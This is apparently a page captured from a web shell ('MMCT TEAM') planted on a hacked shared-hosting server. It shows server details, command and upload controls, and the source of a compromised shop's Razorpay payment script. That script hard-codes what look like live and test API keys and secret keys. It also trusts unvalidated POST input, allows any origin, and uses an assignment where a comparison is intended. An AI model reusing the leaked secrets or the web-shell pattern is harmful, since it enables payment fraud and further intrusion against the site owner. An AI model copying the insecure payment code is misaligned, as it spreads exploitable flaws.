MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/imyrqtmy/public_html/agriba/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/agriba/submitpayment.php
<?php
require 'includes/db-conn.inc.php';
header('Access-Control-Allow-Origin:*');
header('Access-Control-Allow-Methods:POST,GET,PUT,PATCH,DELETE');
header("Content-Type: application/json");
header("Accept: application/json");
header('Access-Control-Allow-Headers:Access-Control-Allow-Origin,Access-Control-Allow-Methods,Content-Type');

if(isset($_POST['action']) && $_POST['action']='payOrder'){

$razorpay_mode='live';

$razorpay_test_key='rzp_test_hfVBRFFyf7tKex'; //Your Test Key
$razorpay_test_secret_key='IXow1PsB3Jp8jNxpJPLsJAFg'; //Your Test Secret Key

$razorpay_live_key= 'rzp_live_wohsNKWHppeOL1';
$razorpay_live_secret_key='vGES9z0wq9UofNsMnOS2CyMK';

if($razorpay_mode=='test'){
    
    $razorpay_key=$razorpay_test_key;
    
$authAPIkey="Basic ".base64_encode($razorpay_test_key.":".$razorpay_test_secret_key);

}else{
    
	$authAPIkey="Basic ".base64_encode($razorpay_live_key.":".$razorpay_live_secret_key);
	$razorpay_key=$razorpay_live_key;

}

// Set transaction details
$order_id = $_POST['order_ID'];
$billing_name=$_POST['billing_name'];
$billing_mobile=$_POST['billing_mobile'];
$billing_email=$_POST['billing_email'];
$shipping_name=$_POST['shipping_name'];
$shipping_mobile=$_POST['shipping_mobile'];
$shipping_email=$_POST['shipping_email'];
$paymentOption=$_POST['paymentOption'];
$payAmount=$_POST['payAmount'];

$note="Payment of amount Rs. ".$payAmount;

$postdata=array(
"amount"=>$payAmount*100,
"currency"=> "INR",
"receipt"=> $note,
"notes" =>array(
	          "notes_key_1"=> $note,
	          "notes_key_2"=> ""
              )
);
$curl = curl_init();

curl_setopt_array($curl, array(
  CURLOPT_URL => 'https://api.razorpay.com/v1/orders',
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_ENCODING => '',
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 0,
  CURLOPT_FOLLOWLOCATION => true,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => 'POST',
  CURLOPT_POSTFIELDS =>json_encode($postdata),
  CURLOPT_HTTPHEADER => array(
    'Content-Type: application/json',
    'Authorization: '.$authAPIkey
  ),
));

$response = curl_exec($curl);

curl_close($curl);
$orderRes= json_decode($response);
 
if(isset($orderRes->id)){
 
$rpay_order_id=$orderRes->id;
 
$dataArr=array(
	'amount'=>$payAmount,
	'description'=>"Pay bill of Rs. ".$payAmount,
	'rpay_order_id'=>$rpay_order_id,
	'name'=>$billing_name,
	'email'=>$billing_email,
	'mobile'=>$billing_mobile
);
echo json_encode(['res'=>'success','order_number'=>$order_id,'userData'=>$dataArr,'razorpay_key'=>$razorpay_key]); exit;
}else{
	echo json_encode(['res'=>'error','order_id'=>$order_id,'info'=>'Error with payment']); exit;
}
}else{
    echo json_encode(['res'=>'error']); exit;
}
       ?>   

MMCT - 2023